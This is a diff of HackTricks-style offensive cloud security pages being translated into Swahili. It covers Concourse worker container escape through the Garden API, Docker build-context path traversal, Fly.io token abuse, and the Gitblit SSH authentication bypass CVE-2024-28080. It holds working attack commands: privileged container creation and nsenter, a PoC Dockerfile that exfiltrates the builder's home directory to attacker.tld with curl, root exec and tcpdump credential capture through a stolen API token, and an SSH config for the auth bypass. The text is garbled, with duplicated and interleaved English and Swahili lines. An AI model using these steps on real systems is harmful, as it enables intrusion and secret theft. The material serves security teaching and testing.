> Hizi ni baadhi ya maelezo ya kuvutia kuhusu huduma, lakini kwa sababu inasikiliza tu kwenye localhost, maelezo haya hayataleta athari ambazo hatujashambulia tayari
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
Kwa kawaida kila mfanyakazi wa concourse atakuwa akifanya kazi na huduma ya [**Garden**](https://github.com/cloudfoundry/garden) kwenye bandari 7777. Huduma hii inatumika na Mchuuzi wa Mtandao kuonyesha mfanyakazi **kile anahitaji kutekeleza** (kupakua picha na kuendesha kila kazi). Hii inasikika vizuri kwa mshambuliaji, lakini kuna ulinzi mzuri:
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
Concourse workers run with high container privileges:
- Inapatikana tu **katika eneo la ndani** (127..0.0.1) na nadhani wakati mfanyakazi anajiandikisha dhidi ya Mtandao na huduma maalum ya SSH, tunnel inaundwa ili seva ya wavuti iweze **kuzungumza na kila huduma ya Garden** ndani ya kila mfanyakazi.
- Seva ya wavuti **inasimamia kontena zinazoendesha kila sekunde chache**, na kontena **zisizotarajiwa** zinatolewa. Hivyo ikiwa unataka **kuendesha kontena maalum** unahitaji **kuingilia** kati ya **mawasiliano** kati ya seva ya wavuti na huduma ya garden.
Wafanyakazi wa concourse wanaendesha kwa ruhusa kubwa za kontena:
```
Container Runtime: docker
Has Namespaces:
pid: true
user: false
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
Hata hivyo, mbinu kama **kuunganisha** kifaa cha /dev cha node au release_agent **hazitafanya kazi** (kwa sababu kifaa halisi chenye mfumo wa faili wa node hakipatikani, ni kifaa cha virtual tu). Hatuwezi kufikia michakato ya node, hivyo kutoroka kutoka kwa node bila exploits za kernel kunakuwa ngumu.
> [!NOTE]
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
> Katika sehemu iliyopita tuliona jinsi ya kutoroka kutoka kwa kontena lenye mamlaka, hivyo ikiwa tunaweza **kutekeleza** amri katika **kontena lenye mamlaka** lililoundwa na **mfanyakazi** **wa sasa**, tunaweza **kutoroka hadi node**.
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
**Getting inside a running privileged container**
Kumbuka kwamba nilipokuwa nikicheza na concourse niliona kwamba wakati kontena jipya linazaliwa ili kufanikisha kitu, michakato ya kontena inapatikana kutoka kwa kontena la mfanyakazi, hivyo ni kama kontena kuunda kontena jipya ndani yake.
**Kuingia ndani ya kontena lenye mamlaka linalofanya kazi**
```bash
# Get current container
curl 127.0.0.1:7777/containers
@@ -391,30 +370,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
**Kuunda kontena mpya yenye mamlaka**
**Creating a new privileged container**
You can very easily create a new container (just run a random UID) and execute something on it:
Unaweza kwa urahisi kuunda kontena mpya (kimbia tu UID isiyo ya kawaida) na kutekeleza kitu ndani yake:
```bash
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
Hata hivyo, seva ya wavuti inakagua kila sekunde chache kontena zinazotembea, na ikiwa kontena isiyotarajiwa itagundulika, itafutwa. Kadri mawasiliano yanavyofanyika katika HTTP, unaweza kuingilia mawasiliano ili kuepuka kufutwa kwa kontena zisizotarajiwa:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
@@ -436,11 +411,8 @@ Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
## References
## Marejeo
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -8,19 +8,16 @@
#### With Docker-Compose
This docker-compose file simplifies the installation to do some tests with concourse:
Hii faili ya docker-compose inarahisisha usanikishaji wa kufanya majaribio na concourse:
```bash
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
docker-compose up -d
```
Unaweza kupakua amri ya `fly` kwa ajili ya OS yako kutoka mtandao katika `127.0.0.1:8080`
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
#### With Kubernetes (Recommended)
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
#### Pamoja na Kubernetes (Inapendekezwa)
Unaweza kwa urahisi kupeleka concourse katika **Kubernetes** (katika **minikube** kwa mfano) kwa kutumia helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
Baada ya kuunda mazingira ya concourse, unaweza kuunda siri na kutoa ufikiaji kwa SA inayotembea katika concourse web ili kufikia siri za K8s:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: read-secrets
name: read-secrets
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get"]
resources: ["secrets"]
verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-secrets-concourse
name: read-secrets-concourse
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: read-secrets
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: read-secrets
subjects:
- kind: ServiceAccount
name: concourse-release-web
namespace: default
name: concourse-release-web
namespace: default
---
apiVersion: v1
kind: Secret
metadata:
name: super
namespace: concourse-release-main
name: super
namespace: concourse-release-main
type: Opaque
data:
secret: MWYyZDFlMmU2N2Rm
secret: MWYyZDFlMmU2N2Rm
' | kubectl apply -f -
```
### Unda Pipeline
### Create Pipeline
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
Pipeline inaundwa na orodha ya [Jobs](https://concourse-ci.org/jobs.html) ambayo ina orodha iliyopangwa ya [Steps](https://concourse-ci.org/steps.html).
### Steps
Several different type of steps can be used:
Aina kadhaa tofauti za hatua zinaweza kutumika:
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
- **hatua ya** [**`task` step**](https://concourse-ci.org/task-step.html) **inaendesha** [**task**](https://concourse-ci.org/tasks.html)
- hatua ya [`get` step](https://concourse-ci.org/get-step.html) inapata [resource](https://concourse-ci.org/resources.html)
- hatua ya [`put` step](https://concourse-ci.org/put-step.html) inasasisha [resource](https://concourse-ci.org/resources.html)
- hatua ya [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) inakamilisha [pipeline](https://concourse-ci.org/pipelines.html)
- hatua ya [`load_var` step](https://concourse-ci.org/load-var-step.html) inaloadi thamani kwenye [local var](https://concourse-ci.org/vars.html#local-vars)
- hatua ya [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) inaendesha hatua kwa pamoja
- hatua ya [`do` step](https://concourse-ci.org/do-step.html) inaendesha hatua kwa mpangilio
- mrekebishaji wa hatua ya [`across` step](https://concourse-ci.org/across-step.html#schema.across) inaendesha hatua mara nyingi; mara moja kwa kila mchanganyiko wa thamani za mabadiliko
- hatua ya [`try` step](https://concourse-ci.org/try-step.html) inajaribu kuendesha hatua na inafanikiwa hata kama hatua inashindwa
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
Kila [step](https://concourse-ci.org/steps.html) katika [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) inaendesha katika **konteina yake mwenyewe**. Unaweza kuendesha chochote unachotaka ndani ya konteina _(yaani, endesha majaribio yangu, endesha hii bash script, jenga picha hii, nk.)_. Hivyo basi, ikiwa una kazi yenye hatua tano, Concourse itaunda konteina tano, moja kwa kila hatua.
Therefore, it's possible to indicate the type of container each step needs to be run in.
### Simple Pipeline Example
Kwa hivyo, inawezekana kuashiria aina ya konteina ambayo kila hatua inahitaji kuendesha ndani yake.
### Mfano wa Rahisi wa Pipeline
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
sleep 1000
echo "$SUPER_SECRET"
params:
SUPER_SECRET: ((super.secret))
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
sleep 1000
echo "$SUPER_SECRET"
params:
SUPER_SECRET: ((super.secret))
```
```bash
@@ -130,25 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
Angalia **127.0.0.1:8080** ili kuona mtiririko wa pipeline.
Check **127.0.0.1:8080** to see the pipeline flow.
### Bash script na pipeline ya matokeo/ingizo
### Bash script with output/input pipeline
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
Inawezekana **kuhifadhi matokeo ya kazi moja katika faili** na kuashiria kwamba ni matokeo na kisha kuashiria ingizo la kazi inayofuata kama matokeo ya kazi ya awali. Kile ambacho concourse inafanya ni **kuunganisha directory ya kazi ya awali katika kazi mpya ambapo unaweza kufikia faili zilizoundwa na kazi ya awali**.
### Triggers
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
Huhitaji kuanzisha kazi kwa mikono kila wakati unapotaka kuzifanya, unaweza pia kuzipanga zifanyike kila wakati:
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
- Wakati fulani unapita: [Time resource](https://github.com/concourse/time-resource/)
- Kwa commits mpya kwenye tawi kuu: [Git resource](https://github.com/concourse/git-resource)
- PR mpya: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- Pakua au sukuma picha ya hivi karibuni ya programu yako: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
Angalia mfano wa YAML pipeline unaoanzishwa kwa commits mpya kwenye master katika [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,17 +1,17 @@
# Abusing Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
# Kutumia vibaya Docker Build Context katika Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## TL;DR
If a CI/CD platform or hosted builder lets contributors specify the Docker build context path and Dockerfile path, you can often set the context to a parent directory (e.g., "..") and make host files part of the build context. Then, an attacker-controlled Dockerfile can COPY and exfiltrate secrets found in the builder users home (for example, ~/.docker/config.json). Stolen registry tokens may also work against the providers control-plane APIs, enabling org-wide RCE.
Kama jukwaa la CI/CD au hosted builder linamruhusu mchango kutoa Docker build context path na Dockerfile path, mara nyingi unaweza kuweka context hadi directory ya mzazi (mfano, "..") na kufanya mafaili ya host kuwa sehemu ya build context. Kisha, Dockerfile inayodhibitiwa na mshambuliaji inaweza COPY na kutoa siri zilizopo kwenye home ya mtumiaji wa builder (kwa mfano, ~/.docker/config.json). Stolen registry tokens pia zinaweza kufanya kazi dhidi ya providers control-plane APIs, zikiwezesha org-wide RCE.
## Attack surface
Many hosted builder/registry services do roughly this when building user-submitted images:
- Read a repo-level config that includes:
- build context path (sent to the Docker daemon)
- Dockerfile path relative to that context
- build context path (sent to the Docker daemon)
- Dockerfile path relative to that context
- Copy the indicated build context directory and the Dockerfile to the Docker daemon
- Build the image and run it as a hosted service
@@ -24,30 +24,27 @@ Practical constraints commonly observed:
## PoC: Path traversal via Docker build context
Example malicious server config declaring a Dockerfile within the parent directory context:
```yaml
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
```
Vidokezo:
- Kutumia ".." mara nyingi husuluhisha kwenye home ya mtumiaji builder (kwa mfano, /home/builder), ambayo kawaida ina faili nyeti.
- Weka Dockerfile yako ndani ya saraka yenye jina la repo (kwa mfano, repo "test" → test/Dockerfile) ili ibaki ndani ya muktadha wa saraka mzazi uliopanuliwa.
Notes:
- Using ".." often resolves to the builder users home (e.g., /home/builder), which typically contains sensitive files.
- Place your Dockerfile under the repos directory name (e.g., repo "test" → test/Dockerfile) so it remains within the expanded parent context.
## PoC: Dockerfile to ingest and exfiltrate the host context
## PoC: Dockerfile ya ingest na exfiltrate host context
```dockerfile
FROM alpine
RUN apk add --no-cache curl
@@ -55,53 +52,48 @@ RUN mkdir /data
COPY . /data # Copies entire build context (now builders $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
Targets commonly recovered from $HOME:
Malengo yanayopatikana mara nyingi kutoka $HOME:
- ~/.docker/config.json (registry auths/tokens)
- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
- Cache na config nyingine za cloud/CLI (mfano, ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Tip: Even with a .dockerignore in the repository, the vulnerable platform-side context selection still governs what gets sent to the daemon. If the platform copies the chosen path to the daemon before evaluating your repos .dockerignore, host files may still be exposed.
Kidokezo: Hata ikiwa kuna .dockerignore katika repository, uchaguzi wa muktadha upande wa jukwaa ambao unaathiriwa bado ndio unaodhibiti nini kinatumwa kwa daemon. Iwapo jukwaa linanakili njia iliyochaguliwa kwa daemon kabla ya kutathmini .dockerignore ya repo yako, faili za host zinaweza bado kufichuka.
## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
## Kuingia kwenye cloud kwa tokens zenye ruhusa kupita kiasi (mfano: Fly.io Machines API)
Some platforms issue a single bearer token usable for both the container registry and the control-plane API. If you exfiltrate a registry token, try it against the provider API.
Baadhi ya majukwaa hutoa bearer token moja inayoweza kutumika kwa container registry na control-plane API. Ikiwa utaexfiltrate registry token, ujaribu dhidi ya provider API.
Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json:
Mifano ya API calls dhidi ya Fly.io Machines API ukitumia token iliyoporwa kutoka ~/.docker/config.json:
Enumerate apps in an org:
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
"https://api.machines.dev/v1/apps?org_slug=smithery"
```
Run a command as root inside any machine of an app:
Endesha amri kama root ndani ya mashine yoyote ya app:
```bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
Matokeo: remote code execution kwa shirika nzima (org-wide) katika apps zote zilizo-hosted ambapo token ina privileges za kutosha.
Outcome: org-wide remote code execution across all hosted apps where the token holds sufficient privileges.
## Secret theft from compromised hosted services
With exec/RCE on hosted servers, you can harvest client-supplied secrets (API keys, tokens) or mount prompt-injection attacks. Example: install tcpdump and capture HTTP traffic on port 8080 to extract inbound credentials.
## Ujambazi wa siri kutoka kwa hosted services zilizothirika
Kwa exec/RCE kwenye hosted servers, unaweza kuvuna client-supplied secrets (API keys, tokens) au kuendesha prompt-injection attacks. Mfano: weka tcpdump na rekodi HTTP traffic kwenye port 8080 ili kutoa inbound credentials.
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
Maombi yaliyorekodiwa mara nyingi huwa na client credentials katika headers, bodies, au query params.
Captured requests often contain client credentials in headers, bodies, or query params.
## References
## Marejeo
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
- [Fly.io Machines API](https://fly.io/docs/machines/api/)

View File

@@ -1,12 +1,12 @@
# Gitblit Security
# Usalama wa Gitblit
{{#include ../../banners/hacktricks-training.md}}
## What is Gitblit
## Gitblit ni nini
Gitblit is a selfhosted Git server written in Java. It can run as a standalone JAR or in servlet containers and ships an embedded SSH service (Apache MINA SSHD) for Git over SSH.
Gitblit ni seva ya Git inayomilikiwa mwenyewe iliyoandikwa kwa Java. Inaweza kuendesha kama JAR huru au katika servlet containers na inakuja na huduma ya SSH iliyojengwa ndani (Apache MINA SSHD) kwa Git kupitia SSH.
## Topics
## Mada
- Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
@@ -14,8 +14,8 @@ Gitblit is a selfhosted Git server written in Java. It can run as a standalon
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
{{#endref}}
## References
## Marejeo
- [Gitblit project](https://gitblit.com/)
- [Mradi wa Gitblit](https://gitblit.com/)
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,98 +2,94 @@
{{#include ../../banners/hacktricks-training.md}}
## Summary
## Muhtasari
CVE-2024-28080 is an authentication bypass in Gitblits embedded SSH service due to incorrect session state handling when integrating with Apache MINA SSHD. If a user account has at least one SSH public key registered, an attacker who knows the username and any of that users public keys can authenticate without the private key and without the password.
CVE-2024-28080 ni authentication bypass katika huduma ya embedded SSH ya Gitblit kutokana na kushughulikia state ya session isiyo sahihi wakati wa kuingiliana na Apache MINA SSHD. Ikiwa akaunti ya mtumiaji ina angalau SSH public key iliyosajiliwa, mshambuliaji anayejua username ya mdhuriwa na moja ya public keys za mtumiaji huyo anaweza authenticate bila private key na bila password.
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
- Fixed: 1.10.0
- Requirements to exploit:
- Git over SSH enabled on the instance
- Victim account has at least one SSH public key registered in Gitblit
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
- Imeathiriwa: Gitblit < 1.10.0 (observed on 1.9.3)
- Imerekebishwa: 1.10.0
- Mahitaji ya kuitumia:
- Git over SSH enabled on the instance
- Akaunti ya mwathirika ina angalau SSH public key iliyosajiliwa ndani ya Gitblit
- Mshambuliaji anajua username ya mwathirika na moja ya public keys zao (kwa kawaida inaweza kupatikana, mfano, https://github.com/<username>.keys)
## Root cause (state leaks between SSH methods)
## Sababu ya msingi (state leaks between SSH methods)
In RFC 4252, publickey authentication proceeds in two phases: the server first checks whether a provided public key is acceptable for a username, and only after a challenge/response with a signature does it authenticate the user. In MINA SSHD, the PublickeyAuthenticator is invoked twice: on key acceptance (no signature yet) and later after the client returns a signature.
Katika RFC 4252, publickey authentication hufanywa kwa hatua mbili: server kwa kwanza hukagua kama public key iliyotolewa inakubalika kwa username, na tu baada ya challenge/response pamoja na signature ndipo inamthibitisha mtumiaji. Katika MINA SSHD, PublickeyAuthenticator inaitwa mara mbili: kwenye key acceptance (bado hakuna signature) na baadaye baada ya client kurudisha signature.
Gitblits PublickeyAuthenticator mutated the session context on the first, presignature call by binding the authenticated UserModel to the session and returning true ("key acceptable"). When authentication later fell back to password, the PasswordAuthenticator trusted that mutated session state and shortcircuited, returning true without validating the password. As a result, any password (including empty) was accepted after a prior publickey "acceptance" for the same user.
PublickeyAuthenticator ya Gitblit ilibadilisha session context kwenye mwito wa kwanza, wa kabla ya signature, kwa kubindisha authenticated UserModel kwenye session na kurudisha true ("key acceptable"). Wakati authentication baadaye ilipotanguka hadi password, PasswordAuthenticator iliamini state hiyo iliyobadilishwa ya session na kukataa hatua za uthibitisho, kurudisha true bila kuvalidate password. Matokeo yake, password yoyote (ikiwa ni pamoja na tupu) ilikubaliwa baada ya hapo kuwa na publickey "acceptance" kwa user huyo.
Highlevel flawed flow:
Mtiririko uliokosea kwa kiwango cha juu:
1) Client offers username + public key (no signature yet)
2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable")
3) Client cannot sign (no private key), so auth falls back to password
4) Password auth sees a user already present in session and unconditionally returns success
1) Client inatoa username + public key (bado hakuna signature)
2) Server inatambua key kuwa ya user na kwa mapema inaweka user kwenye session, ikarudisha true ("acceptable")
3) Client hawezi kusign (hakuna private key), hivyo auth inarudi kwa password
4) Password auth inaona user tayari yupo kwenye session na bila masharti inarudisha success
## Stepbystep exploitation
## Hatuakwahatua exploitation
- Collect a victims username and one of their public keys:
- GitHub exposes public keys at https://github.com/<username>.keys
- Public servers often expose authorized_keys
- Configure OpenSSH to present only the public half so signature generation fails, forcing a fallback to password while still triggering the publickey acceptance path on the server.
Example SSH client config (no private key available):
- Kusanya username ya mwathirika na moja ya public keys zao:
- GitHub exposes public keys at https://github.com/<username>.keys
- Public servers mara nyingi huonyesha authorized_keys
- Configure OpenSSH ili ipresent sehemu ya public pekee ili signature generation itashindwa, kulazimisha fallback kwa password huku ikichochea publickey acceptance path kwenye server.
Mfano wa SSH client config (no private key available):
```sshconfig
# ~/.ssh/config
Host gitblit-target
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
```
Connect and press Enter at the password prompt (or type any string):
Unganisha na bonyeza Enter kwenye ombi la nenosiri (au andika mfuatano wowote):
```bash
ssh gitblit-target
# or Git over SSH
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
```
Authentication succeeds because the earlier publickey phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
Uthibitishaji unafanikiwa kwa sababu awamu ya awali ya publickey ilibadilisha kikao kuwa mtumiaji aliyethibitishwa, na password auth inaamini kwa makosa hali hiyo.
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
## Impact
## Athari
- Full impersonation of any Gitblit user with at least one registered SSH public key
- Read/write access to repositories per victims permissions (source exfiltration, unauthorized pushes, supplychain risks)
- Potential administrative impact if targeting an admin user
- Pure network exploit; no brute force or private key required
- Udanganyifu kamili wa mtumiaji yeyote wa Gitblit ambaye ana angalau SSH public key moja iliyosajiliwa
- Ufikiaji wa kusoma/kuandika kwa repositories kulingana na ruhusa za mwathirika (source exfiltration, unauthorized pushes, supplychain risks)
- Inaweza kuathiri usimamizi ikiwa lengo ni mtumiaji admin
- Ni exploit safi ya mtandao; hakuna brute force au private key inahitajika
## Detection ideas
## Mawazo ya utambuzi
- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password
- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username
- Kagua SSH logs kwa mfululizo ambapo jaribio la publickey linafuatiwa na password authentication iliyofanikiwa kwa password tupu au fupi sana
- Tafuta mtiririko: publickey method inayotoa unsupported/mismatched key material ikifuatiwa na mafanikio ya mara moja ya password kwa username ile ile
## Mitigations
## Uzuiaji
- Upgrade to Gitblit v1.10.0+
- Until upgraded:
- Disable Git over SSH on Gitblit, or
- Restrict network access to the SSH service, and
- Monitor for suspicious patterns described above
- Rotate affected user credentials if compromise is suspected
- Sasisha hadi Gitblit v1.10.0+
- Mpaka kusasisha:
- Zima Git over SSH kwenye Gitblit, au
- Zuia upatikanaji wa mtandao kwa huduma ya SSH, na
